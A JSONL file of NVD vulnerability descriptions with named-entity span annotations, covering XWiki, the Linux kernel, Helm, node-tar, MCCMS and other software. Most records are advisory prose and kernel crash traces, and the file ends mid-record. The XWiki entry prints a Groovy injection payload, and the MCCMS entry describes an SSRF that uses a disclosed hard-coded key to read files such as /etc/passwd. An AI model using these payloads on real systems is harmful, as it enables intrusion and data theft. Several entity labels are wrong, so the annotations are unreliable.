{"text": "<p>A security feature bypass vulnerability exists in Microsoft Word software when it fails to properly handle .LNK files. An attacker who successfully exploited the vulnerability could use a specially crafted file to perform actions in the security context of the current user. For example, the file could then take actions on behalf of the logged-on user with the same permissions as the current user.</p>\n<p>To exploit the vulnerability, a user must open a specially crafted file with an affected version of Microsoft Word software. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file. In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) that contains a specially crafted file that is designed to exploit the vulnerability. However, an attacker would have no way to force the user to visit the website. Instead, an attacker would have to convince the user to click a link, typically by way of an enticement in an email or Instant Messenger message, and then convince the user to open the specially crafted file.</p>\n<p>The security update addresses the vulnerability by correcting how Microsoft Word handles these files.</p>", "spans": {"SYSTEM: Microsoft Word": [[53, 67], [510, 524], [1292, 1306]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-16933"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.916. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of TIF files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9881.", "spans": {"IP_ADDRESS: 3.6.6.916": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8869"}}
{"text": "A stack buffer overflow vulnerability in the device control daemon (DCD) on Juniper Networks Junos OS allows a low privilege local user to create a Denial of Service (DoS) against the daemon or execute arbitrary code in the system with root privilege. This issue affects Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S9; 17.4 versions prior to 17.4R2-S12, 17.4R3-S3; 18.1 versions prior to 18.1R3-S11; 18.2 versions prior to 18.2R3-S6; 18.2X75 versions prior to 18.2X75-D53, 18.2X75-D65; 18.3 versions prior to 18.3R2-S4, 18.3R3-S4; 18.4 versions prior to 18.4R2-S5, 18.4R3-S5; 19.1 versions prior to 19.1R3-S3; 19.2 versions prior to 19.2R1-S5, 19.2R3; 19.3 versions prior to 19.3R2-S4, 19.3R3; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R1-S4, 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2. Versions of Junos OS prior to 17.3 are unaffected by this vulnerability.", "spans": {"ORGANIZATION: Juniper": [[76, 83], [271, 278]], "VULNERABILITY: Denial of Service": [[148, 165]], "VULNERABILITY: buffer overflow": [[8, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1664"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slub: add check for s->flags in the alloc_tagging_slab_free_hook\n\nWhen enable CONFIG_MEMCG & CONFIG_KFENCE & CONFIG_KMEMLEAK, the following\nwarning always occurs,This is because the following call stack occurred:\nmem_pool_alloc\n    kmem_cache_alloc_noprof\n        slab_alloc_node\n            kfence_alloc\n\nOnce the kfence allocation is successful,slab->obj_exts will not be empty,\nbecause it has already been assigned a value in kfence_init_pool.\n\nSince in the prepare_slab_obj_exts_hook function,we perform a check for\ns->flags & (SLAB_NO_OBJ_EXT | SLAB_NOLEAKTRACE),the alloc_tag_add function\nwill not be called as a result.Therefore,ref->ct remains NULL.\n\nHowever,when we call mem_pool_free,since obj_ext is not empty, it\neventually leads to the alloc_tag_sub scenario being invoked.  This is\nwhere the warning occurs.\n\nSo we should add corresponding checks in the alloc_tagging_slab_free_hook.\nFor __GFP_NO_OBJ_EXT case,I didn't see the specific case where it's using\nkfence,so I won't add the corresponding check in\nalloc_tagging_slab_free_hook for now.\n\n[    3.734349] ------------[ cut here ]------------\n[    3.734807] alloc_tag was not set\n[    3.735129] WARNING: CPU: 4 PID: 40 at ./include/linux/alloc_tag.h:130 kmem_cache_free+0x444/0x574\n[    3.735866] Modules linked in: autofs4\n[    3.736211] CPU: 4 UID: 0 PID: 40 Comm: ksoftirqd/4 Tainted: G        W          6.11.0-rc3-dirty #1\n[    3.736969] Tainted: [W]=WARN\n[    3.737258] Hardware name: QEMU KVM Virtual Machine, BIOS unknown 2/2/2022\n[    3.737875] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[    3.738501] pc : kmem_cache_free+0x444/0x574\n[    3.738951] lr : kmem_cache_free+0x444/0x574\n[    3.739361] sp : ffff80008357bb60\n[    3.739693] x29: ffff80008357bb70 x28: 0000000000000000 x27: 0000000000000000\n[    3.740338] x26: ffff80008207f000 x25: ffff000b2eb2fd60 x24: ffff0000c0005700\n[    3.740982] x23: ffff8000804229e4 x22: ffff800082080000 x21: ffff800081756000\n[    3.741630] x20: fffffd7ff8253360 x19: 00000000000000a8 x18: ffffffffffffffff\n[    3.742274] x17: ffff800ab327f000 x16: ffff800083398000 x15: ffff800081756df0\n[    3.742919] x14: 0000000000000000 x13: 205d344320202020 x12: 5b5d373038343337\n[    3.743560] x11: ffff80008357b650 x10: 000000000000005d x9 : 00000000ffffffd0\n[    3.744231] x8 : 7f7f7f7f7f7f7f7f x7 : ffff80008237bad0 x6 : c0000000ffff7fff\n[    3.744907] x5 : ffff80008237ba78 x4 : ffff8000820bbad0 x3 : 0000000000000001\n[    3.745580] x2 : 68d66547c09f7800 x1 : 68d66547c09f7800 x0 : 0000000000000000\n[    3.746255] Call trace:\n[    3.746530]  kmem_cache_free+0x444/0x574\n[    3.746931]  mem_pool_free+0x44/0xf4\n[    3.747306]  free_object_rcu+0xc8/0xdc\n[    3.747693]  rcu_do_batch+0x234/0x8a4\n[    3.748075]  rcu_core+0x230/0x3e4\n[    3.748424]  rcu_core_si+0x14/0x1c\n[    3.748780]  handle_softirqs+0x134/0x378\n[    3.749189]  run_ksoftirqd+0x70/0x9c\n[    3.749560]  smpboot_thread_fn+0x148/0x22c\n[    3.749978]  kthread+0x10c/0x118\n[    3.750323]  ret_from_fork+0x10/0x20\n[    3.750696] ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: /include/linux/alloc_tag.h": [[1264, 1290]], "FILEPATH: /2/2022": [[1572, 1579]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1532, 1536]], "SYSTEM: KVM": [[1537, 1540]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46789"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btusb: mediatek: Fix kernel crash when releasing mtk iso interface\n\nWhen performing reset tests and encountering abnormal card drop issues\nthat lead to a kernel crash, it is necessary to perform a null check\nbefore releasing resources to avoid attempting to release a null pointer.\n\n<4>[   29.158070] Hardware name: Google Quigon sku196612/196613 board (DT)\n<4>[   29.158076] Workqueue: hci0 hci_cmd_sync_work [bluetooth]\n<4>[   29.158154] pstate: 20400009 (nzCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n<4>[   29.158162] pc : klist_remove+0x90/0x158\n<4>[   29.158174] lr : klist_remove+0x88/0x158\n<4>[   29.158180] sp : ffffffc0846b3c00\n<4>[   29.158185] pmr_save: 000000e0\n<4>[   29.158188] x29: ffffffc0846b3c30 x28: ffffff80cd31f880 x27: ffffff80c1bdc058\n<4>[   29.158199] x26: dead000000000100 x25: ffffffdbdc624ea3 x24: ffffff80c1bdc4c0\n<4>[   29.158209] x23: ffffffdbdc62a3e6 x22: ffffff80c6c07000 x21: ffffffdbdc829290\n<4>[   29.158219] x20: 0000000000000000 x19: ffffff80cd3e0648 x18: 000000031ec97781\n<4>[   29.158229] x17: ffffff80c1bdc4a8 x16: ffffffdc10576548 x15: ffffff80c1180428\n<4>[   29.158238] x14: 0000000000000000 x13: 000000000000e380 x12: 0000000000000018\n<4>[   29.158248] x11: ffffff80c2a7fd10 x10: 0000000000000000 x9 : 0000000100000000\n<4>[   29.158257] x8 : 0000000000000000 x7 : 7f7f7f7f7f7f7f7f x6 : 2d7223ff6364626d\n<4>[   29.158266] x5 : 0000008000000000 x4 : 0000000000000020 x3 : 2e7325006465636e\n<4>[   29.158275] x2 : ffffffdc11afeff8 x1 : 0000000000000000 x0 : ffffffdc11be4d0c\n<4>[   29.158285] Call trace:\n<4>[   29.158290]  klist_remove+0x90/0x158\n<4>[   29.158298]  device_release_driver_internal+0x20c/0x268\n<4>[   29.158308]  device_release_driver+0x1c/0x30\n<4>[   29.158316]  usb_driver_release_interface+0x70/0x88\n<4>[   29.158325]  btusb_mtk_release_iso_intf+0x68/0xd8 [btusb (HASH:e8b6 5)]\n<4>[   29.158347]  btusb_mtk_reset+0x5c/0x480 [btusb (HASH:e8b6 5)]\n<4>[   29.158361]  hci_cmd_sync_work+0x10c/0x188 [bluetooth (HASH:a4fa 6)]\n<4>[   29.158430]  process_scheduled_works+0x258/0x4e8\n<4>[   29.158441]  worker_thread+0x300/0x428\n<4>[   29.158448]  kthread+0x108/0x1d0\n<4>[   29.158455]  ret_from_fork+0x10/0x20\n<0>[   29.158467] Code: 91343000 940139d1 f9400268 927ff914 (f9401297)\n<4>[   29.158474] ---[ end trace 0000000000000000 ]---\n<0>[   29.167129] Kernel panic - not syncing: Oops: Fatal exception\n<2>[   29.167144] SMP: stopping secondary CPUs\n<4>[   29.167158] ------------[ cut here ]------------", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[396, 402]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68306"}}
{"text": "XWiki Platform Wiki UI Main Wiki is software for managing subwikis on XWiki Platform, a generic wiki platform. Starting with version 5.3-milestone-2 and prior to versions 13.10.6 and 14.4, it's possible to inject arbitrary wiki syntax including Groovy, Python and Velocity script macros via the request (URL parameter) using the `XWikiServerClassSheet` if the user has view access to this sheet and another page that has been saved with programming rights, a standard condition on a public read-only XWiki installation or a private XWiki installation where the user has an account. This allows arbitrary Groovy/Python/Velocity code execution which allows bypassing all rights checks and thus both modification and disclosure of all content stored in the XWiki installation. Also, this could be used to impact the availability of the wiki. This has been patched in versions 13.10.6 and 14.4. As a workaround, edit the affected document `XWiki.XWikiServerClassSheet` or `WikiManager.XWikiServerClassSheet` and manually perform the changes from the patch fixing the issue. On XWiki versions 12.0 and later, it is also possible to import the document `XWiki.XWikiServerClassSheet` from the xwiki-platform-wiki-ui-mainwiki package version 14.4 using the import feature of the administration application as there have been no other changes to this document since XWiki 12.0.", "spans": {"FILEPATH: /Python/Velocity": [[610, 626]], "SYSTEM: Python": [[253, 259]], "VULNERABILITY: code execution": [[627, 641]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36099"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: fix OOB map writes when deleting elements\n\nJordy says:\n\n\"\nIn the xsk_map_delete_elem function an unsigned integer\n(map->max_entries) is compared with a user-controlled signed integer\n(k). Due to implicit type conversion, a large unsigned value for\nmap->max_entries can bypass the intended bounds check:\n\n\tif (k >= map->max_entries)\n\t\treturn -EINVAL;\n\nThis allows k to hold a negative value (between -2147483648 and -2),\nwhich is then used as an array index in m->xsk_map[k], which results\nin an out-of-bounds access.\n\n\tspin_lock_bh(&m->lock);\n\tmap_entry = &m->xsk_map[k]; // Out-of-bounds map_entry\n\told_xs = unrcu_pointer(xchg(map_entry, NULL));  // Oob write\n\tif (old_xs)\n\t\txsk_map_sock_delete(old_xs, map_entry);\n\tspin_unlock_bh(&m->lock);\n\nThe xchg operation can then be used to cause an out-of-bounds write.\nMoreover, the invalid map_entry passed to xsk_map_sock_delete can lead\nto further memory corruption.\n\"\n\nIt indeed results in following splat:\n\n[76612.897343] BUG: unable to handle page fault for address: ffffc8fc2e461108\n[76612.904330] #PF: supervisor write access in kernel mode\n[76612.909639] #PF: error_code(0x0002) - not-present page\n[76612.914855] PGD 0 P4D 0\n[76612.917431] Oops: Oops: 0002 [#1] PREEMPT SMP\n[76612.921859] CPU: 11 UID: 0 PID: 10318 Comm: a.out Not tainted 6.12.0-rc1+ #470\n[76612.929189] Hardware name: Intel Corporation S2600WFT/S2600WFT, BIOS SE5C620.86B.02.01.0008.031920191559 03/19/2019\n[76612.939781] RIP: 0010:xsk_map_delete_elem+0x2d/0x60\n[76612.944738] Code: 00 00 41 54 55 53 48 63 2e 3b 6f 24 73 38 4c 8d a7 f8 00 00 00 48 89 fb 4c 89 e7 e8 2d bf 05 00 48 8d b4 eb 00 01 00 00 31 ff <48> 87 3e 48 85 ff 74 05 e8 16 ff ff ff 4c 89 e7 e8 3e bc 05 00 31\n[76612.963774] RSP: 0018:ffffc9002e407df8 EFLAGS: 00010246\n[76612.969079] RAX: 0000000000000000 RBX: ffffc9002e461000 RCX: 0000000000000000\n[76612.976323] RDX: 0000000000000001 RSI: ffffc8fc2e461108 RDI: 0000000000000000\n[76612.983569] RBP: ffffffff80000001 R08: 0000000000000000 R09: 0000000000000007\n[76612.990812] R10: ffffc9002e407e18 R11: ffff888108a38858 R12: ffffc9002e4610f8\n[76612.998060] R13: ffff888108a38858 R14: 00007ffd1ae0ac78 R15: ffffc9002e4610c0\n[76613.005303] FS:  00007f80b6f59740(0000) GS:ffff8897e0ec0000(0000) knlGS:0000000000000000\n[76613.013517] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[76613.019349] CR2: ffffc8fc2e461108 CR3: 000000011e3ef001 CR4: 00000000007726f0\n[76613.026595] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[76613.033841] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[76613.041086] PKRU: 55555554\n[76613.043842] Call Trace:\n[76613.046331]  <TASK>\n[76613.048468]  ? __die+0x20/0x60\n[76613.051581]  ? page_fault_oops+0x15a/0x450\n[76613.055747]  ? search_extable+0x22/0x30\n[76613.059649]  ? search_bpf_extables+0x5f/0x80\n[76613.063988]  ? exc_page_fault+0xa9/0x140\n[76613.067975]  ? asm_exc_page_fault+0x22/0x30\n[76613.072229]  ? xsk_map_delete_elem+0x2d/0x60\n[76613.076573]  ? xsk_map_delete_elem+0x23/0x60\n[76613.080914]  __sys_bpf+0x19b7/0x23c0\n[76613.084555]  __x64_sys_bpf+0x1a/0x20\n[76613.088194]  do_syscall_64+0x37/0xb0\n[76613.091832]  entry_SYSCALL_64_after_hwframe+0x4b/0x53\n[76613.096962] RIP: 0033:0x7f80b6d1e88d\n[76613.100592] Code: 5b 41 5c c3 66 0f 1f 84 00 00 00 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 73 b5 0f 00 f7 d8 64 89 01 48\n[76613.119631] RSP: 002b:00007ffd1ae0ac68 EFLAGS: 00000206 ORIG_RAX: 0000000000000141\n[76613.131330] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f80b6d1e88d\n[76613.142632] RDX: 0000000000000098 RSI: 00007ffd1ae0ad20 RDI: 0000000000000003\n[76613.153967] RBP: 00007ffd1ae0adc0 R08: 0000000000000000 R09: 0000000000000000\n[76613.166030] R10: 00007f80b6f77040 R11: 0000000000000206 R12: 00007ffd1ae0aed8\n[76613.177130] R13: 000055ddf42ce1e9 R14: 000055ddf42d0d98 R15: 00\n---truncated---", "spans": {"FILEPATH: /19/2019": [[1493, 1501]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[1413, 1418]], "VULNERABILITY: out-of-bounds access": [[569, 589]], "VULNERABILITY: out-of-bounds write": [[866, 885]], "VULNERABILITY: memory corruption": [[969, 986]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-56614"}}
{"text": "Backstage is an open platform for building developer portals, and techdocs-common contains common functionalities for Backstage's TechDocs. In `@backstage/techdocs-common` versions prior to 0.6.3, a malicious actor could read sensitive files from the environment where TechDocs documentation is built and published by setting a particular path for `docs_dir` in `mkdocs.yml`. These files would then be available over the TechDocs backend API. This vulnerability is mitigated by the fact that an attacker would need access to modify the `mkdocs.yml` in the documentation source code, and would also need access to the TechDocs backend API. The vulnerability is patched in the `0.6.3` release of `@backstage/techdocs-common`.", "spans": {"FILEPATH: mkdocs.yml": [[363, 373], [537, 547]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32662"}}
{"text": "IncusOS is an immutable OS image dedicated to running Incus. Prior to 202603142010, the default configuration of systemd-cryptenroll as used by IncusOS through mkosi allows for an attacker with physical access to the machine to access the encrypted data without requiring any interaction by the system's owner or any tampering of Secure Boot state or kernel (UKI) boot image. That's because in this configuration, the LUKS key is made available by the TPM so long as the system has the expected PCR7 value and the PCR11 policy matches. That default PCR11 policy importantly allows for the TPM to release the key to the booted system rather than just from the initrd part of the signed kernel image (UKI). The attack relies on the attacker being able to substitute the original encrypted root partition for one that they control. By doing so, the system will prompt for a recovery key on boot, which the attacker has defined and can provide, before booting the system using the attacker's root partition rather than the system's original one. The attacker only needs to put a systemd unit starting on system boot within their root partition to have the system run that logic on boot. That unit will then run in an environment where the TPM will allow for the retrieval of the encryption key of the real root disk, allowing the attacker to steal the LUKS volume key (immutable master key) and then use it against the real root disk, altering it or getting data out before putting the disk back the way it was and returning the system without a trace of this attack having happened. This is all possible because the system will have still booted with Secure Boot enabled, will have measured and ran the expected bootloader and kernel image (UKI). The initrd selects the root disk based on GPT partition identifiers making it possible to easily substitute the real root disk for an attacker controlled one. This doesn't lead to any change in the TPM state and therefore allows for retrieval of the LUKS key by the attacker through a boot time systemd unit on their alternative root partition. IncusOS version 202603142010 (2026/03/14 20:10 UTC)  includes the new PCR15 logic and will automatically update the TPM policy on boot. Anyone suspecting that their system may have been physically accessed while shut down should perform a full system wipe and reinstallation as only that will rotate the LUKS volume key and prevent subsequent access to the encrypted data should the system have been previously compromised. There are no known workarounds other than updating to a version with corrected logic which will automatically rebind the LUKS keys to the new set of TPM registers and prevent this from being exploited.", "spans": {"FILEPATH: /03/14": [[2123, 2129]], "SYSTEM: systemd": [[113, 120], [1075, 1082], [2039, 2046]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32606"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In affected versions any user with view rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of UIX parameters. A proof of concept exploit is to log in, add an `XWiki.UIExtensionClass` xobject to the user profile page, with an Extension Parameters content containing `label={{/html}} {{async async=\"true\" cached=\"false\" context=\"doc.reference\"}}{{groovy}}println(\"Hello \" + \"from groovy!\"){{/groovy}}{{/async}}`. Then, navigating to `PanelsCode.ApplicationsPanelConfigurationSheet` (i.e., `<xwiki-host>/xwiki/bin/view/PanelsCode/ApplicationsPanelConfigurationSheet` where `<xwiki-host>` is the URL of your XWiki installation) should not execute the Groovy script. If it does, you will see `Hello from groovy!` displayed on the screen. This vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1. Users are advised to upgrade. For users unable to upgrade the issue can be fixed by editing the `PanelsCode.ApplicationsPanelConfigurationSheet` wiki page and making the same modifications  as shown in commit `6de5442f3c`.", "spans": {"FILEPATH: /xwiki/bin/view/PanelsCode/ApplicationsPanelConfigurationSheet": [[710, 772]], "SYSTEM: Python": [[182, 188]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27479"}}
{"text": "October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. In October CMS from version 1.0.319 and before version 1.0.469, backend users with access to upload files were permitted to upload SVG files without any sanitization applied to the uploaded files. Since SVG files support being parsed as HTML by browsers, this means that they could theoretically upload Javascript that would be executed on a path under the website's domain (i.e. /storage/app/media/evil.svg), but they would have to convince their target to visit that location directly in the target's browser as the backend does not display SVGs inline anywhere, SVGs are only displayed as image resources in the backend and are thus unable to be executed. Issue has been patched in Build 469 (v1.0.469) & v1.1.0.", "spans": {"FILEPATH: /storage/app/media/evil.svg": [[473, 500]], "SYSTEM: PHP": [[78, 81]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15249"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: cdns3: Put the cdns set active part outside the spin lock\n\nThe device may be scheduled during the resume process,\nso this cannot appear in atomic operations. Since\npm_runtime_set_active will resume suppliers, put set\nactive outside the spin lock, which is only used to\nprotect the struct cdns data structure, otherwise the\nkernel will report the following warning:\n\n  BUG: sleeping function called from invalid context at drivers/base/power/runtime.c:1163\n  in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 651, name: sh\n  preempt_count: 1, expected: 0\n  RCU nest depth: 0, expected: 0\n  CPU: 0 PID: 651 Comm: sh Tainted: G        WC         6.1.20 #1\n  Hardware name: Freescale i.MX8QM MEK (DT)\n  Call trace:\n    dump_backtrace.part.0+0xe0/0xf0\n    show_stack+0x18/0x30\n    dump_stack_lvl+0x64/0x80\n    dump_stack+0x1c/0x38\n    __might_resched+0x1fc/0x240\n    __might_sleep+0x68/0xc0\n    __pm_runtime_resume+0x9c/0xe0\n    rpm_get_suppliers+0x68/0x1b0\n    __pm_runtime_set_status+0x298/0x560\n    cdns_resume+0xb0/0x1c0\n    cdns3_controller_resume.isra.0+0x1e0/0x250\n    cdns3_plat_resume+0x28/0x40", "spans": {"FILEPATH: /base/power/runtime.c": [[503, 524]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53287"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: KVM: Fix stack protector issue in send_ipi_data()\n\nFunction kvm_io_bus_read() is called in function send_ipi_data(), buffer\nsize of parameter *val should be at least 8 bytes. Since some emulation\nfunctions like loongarch_ipi_readl() and kvm_eiointc_read() will write\nthe buffer *val with 8 bytes signed extension regardless parameter len.\n\nOtherwise there will be buffer overflow issue when CONFIG_STACKPROTECTOR\nis enabled. The bug report is shown as follows:\n\nKernel panic - not syncing: stack-protector: Kernel stack is corrupted in: send_ipi_data+0x194/0x1a0 [kvm]\nCPU: 11 UID: 107 PID: 2692 Comm: CPU 0/KVM Not tainted 6.17.0-rc1+ #102 PREEMPT(full)\nStack : 9000000005901568 0000000000000000 9000000003af371c 900000013c68c000\n        900000013c68f850 900000013c68f858 0000000000000000 900000013c68f998\n        900000013c68f990 900000013c68f990 900000013c68f6c0 fffffffffffdb058\n        fffffffffffdb0e0 900000013c68f858 911e1d4d39cf0ec2 9000000105657a00\n        0000000000000001 fffffffffffffffe 0000000000000578 282049464555206e\n        6f73676e6f6f4c20 0000000000000001 00000000086b4000 0000000000000000\n        0000000000000000 0000000000000000 9000000005709968 90000000058f9000\n        900000013c68fa68 900000013c68fab4 90000000029279f0 900000010153f940\n        900000010001f360 0000000000000000 9000000003af3734 000000004390000c\n        00000000000000b0 0000000000000004 0000000000000000 0000000000071c1d\n        ...\nCall Trace:\n[<9000000003af3734>] show_stack+0x5c/0x180\n[<9000000003aed168>] dump_stack_lvl+0x6c/0x9c\n[<9000000003ad0ab0>] vpanic+0x108/0x2c4\n[<9000000003ad0ca8>] panic+0x3c/0x40\n[<9000000004eb0a1c>] __stack_chk_fail+0x14/0x18\n[<ffff8000023473f8>] send_ipi_data+0x190/0x1a0 [kvm]\n[<ffff8000023313e4>] __kvm_io_bus_write+0xa4/0xe8 [kvm]\n[<ffff80000233147c>] kvm_io_bus_write+0x54/0x90 [kvm]\n[<ffff80000233f9f8>] kvm_emu_iocsr+0x180/0x310 [kvm]\n[<ffff80000233fe08>] kvm_handle_gspr+0x280/0x478 [kvm]\n[<ffff8000023443e8>] kvm_handle_exit+0xc0/0x130 [kvm]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[80, 83], [688, 691]], "VULNERABILITY: buffer overflow": [[444, 459]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39704"}}
{"text": "The Omron SYSMAC Cx product family PLCs (CS series, CJ series, and CP series) through 2022-05-18 lack cryptographic authentication. They utilize the Omron FINS (9600/TCP) protocol for engineering purposes, including downloading projects and control logic to the PLC. This protocol has authentication flaws as reported in FSCT-2022-0057. Control logic is downloaded to PLC volatile memory using the FINS Program Area Read and Program Area Write commands or to non-volatile memory using other commands from where it can be loaded into volatile memory for execution. The logic that is loaded into and executed from the user program area exists in compiled object code form. Upon execution, these object codes are first passed to a dedicated ASIC that determines whether the object code is to be executed by the ASIC or the microprocessor. In the former case, the object code is interpreted by the ASIC whereas in the latter case the object code is passed to the microprocessor for object code interpretation by a ROM interpreter. In the abnormal case where the object code cannot be handled by either, an abnormal condition is triggered and the PLC is halted. The logic that is downloaded to the PLC does not seem to be cryptographically authenticated, thus allowing an attacker to manipulate transmitted object code to the PLC and either execute arbitrary object code commands on the ASIC or on the microprocessor interpreter.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31207"}}
{"text": "The npm package \"tar\" (aka node-tar) before versions 4.4.18, 5.0.10, and 6.1.9 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain `..` path portions, and resolving the sanitized paths against the extraction target directory. This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as `C:some\\path`. If the drive letter does not match the extraction target, for example `D:\\extraction\\dir`, then the result of `path.resolve(extractionDirectory, entryPath)` would resolve against the current working directory on the `C:` drive, rather than the extraction target directory. Additionally, a `..` portion of the path could occur immediately after the drive letter, such as `C:../foo`, and was not properly sanitized by the logic that checked for `..` within the normalized and split portions of the path. This only affects users of `node-tar` on Windows systems. These issues were addressed in releases 4.4.18, 5.0.10 and 6.1.9. The v3 branch of node-tar has been deprecated and did not receive patches for these issues. If you are still using a v3 release we recommend you update to a more recent version of node-tar. There is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does. Users are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves.", "spans": {"FILEPATH: D:\\extraction\\dir": [[801, 818]], "SYSTEM: Windows": [[545, 552], [1273, 1280]], "ORGANIZATION: npm": [[4, 7]], "VULNERABILITY: code execution": [[134, 148]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37713"}}
{"text": "Helm is open-source software which is essentially \"The Kubernetes Package Manager\". Helm is a tool for managing Charts. Charts are packages of pre-configured Kubernetes resources. In Helm from version 3.0 and before version 3.5.2, there a few cases where data loaded from potentially untrusted sources was not properly sanitized. When a SemVer in the `version` field of a chart is invalid, in some cases Helm allows the string to be used \"as is\" without sanitizing. Helm fails to properly sanitized some fields present on Helm repository `index.yaml` files. Helm does not properly sanitized some fields in the `plugin.yaml` file for plugins In some cases, Helm does not properly sanitize the fields in the `Chart.yaml` file. By exploiting these attack vectors, core maintainers were able to send deceptive information to a terminal screen running the `helm` command, as well as obscure or alter information on the screen. In some cases, we could send codes that terminals used to execute higher-order logic, like clearing a terminal screen. Further, during evaluation, the Helm maintainers discovered a few other fields that were not properly sanitized when read out of repository index files. This fix remedies all such cases, and once again enforces SemVer2 policies on version fields. All users of the Helm 3 should upgrade to the fixed version 3.5.2 or later. Those who use Helm as a library should verify that they either sanitize this data on their own, or use the proper Helm API calls to sanitize the data.", "spans": {"FILEPATH: index.yaml": [[539, 549]], "FILEPATH: plugin.yaml": [[611, 622]], "FILEPATH: Chart.yaml": [[707, 717]], "SYSTEM: Kubernetes": [[55, 65], [158, 168]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21303"}}
{"text": "capsule-proxy is a reverse proxy for Capsule kubernetes multi-tenancy framework. A bug in the RoleBinding reflector used by `capsule-proxy` gives ServiceAccount tenant owners the right to list Namespaces of other tenants backed by the same owner kind and name. For example consider two tenants `solar` and `wind`. Tenant `solar`, owned by a ServiceAccount named `tenant-owner` in the Namespace `solar`. Tenant `wind`, owned by a ServiceAccount named `tenant-owner` in the Namespace `wind`. The Tenant owner `solar` would be able to list the namespaces of the Tenant `wind` and vice-versa, although this is not correct. The bug introduces an exfiltration vulnerability since allows the listing of Namespace resources of other Tenants, although just in some specific conditions: 1. `capsule-proxy` runs with the `--disable-caching=false` (default value: `false`) and 2. Tenant owners are ServiceAccount, with the same resource name, but in different Namespaces. This vulnerability doesn't allow any privilege escalation on the outer tenant Namespace-scoped resources, since the Kubernetes RBAC is enforcing this. This issue has been addressed in version 0.4.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"SYSTEM: Kubernetes": [[1076, 1086]], "VULNERABILITY: privilege escalation": [[997, 1017]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46254"}}
{"text": "MCCMS v2.7.0 has an SSRF vulnerability located in the index() method of the sys\\apps\\controllers\\api\\Gf.php file, where the pic parameter is processed. The pic parameter is decrypted using the sys_auth($pic, 1) function, which utilizes a hard-coded key Mc_Encryption_Key (bD2voYwPpNuJ7B8), defined in the db.php file. The decrypted URL is passed to the geturl() method, which uses cURL to make a request to the URL without proper security checks. An attacker can craft a malicious encrypted pic parameter, which, when decrypted, points to internal addresses or local file paths (such as http://127.0.0.1 or file://). By using the file:// protocol, the attacker can access arbitrary files on the local file system (e.g., file:///etc/passwd, file:///C:/Windows/System32/drivers/etc/hosts), allowing them to read sensitive configuration files, log files, and more, leading to information leakage or system exposure. The danger of this SSRF vulnerability includes accessing internal services and local file systems through protocols like http://, ftp://, and file://, which can result in sensitive data leakage, remote code execution, privilege escalation, or full system compromise, severely affecting the system's security and stability.", "spans": {"IP_ADDRESS: 127.0.0.1": [[594, 603]], "URL: http://,": [[1034, 1042]], "FILEPATH: /etc/passwd": [[727, 738]], "FILEPATH: 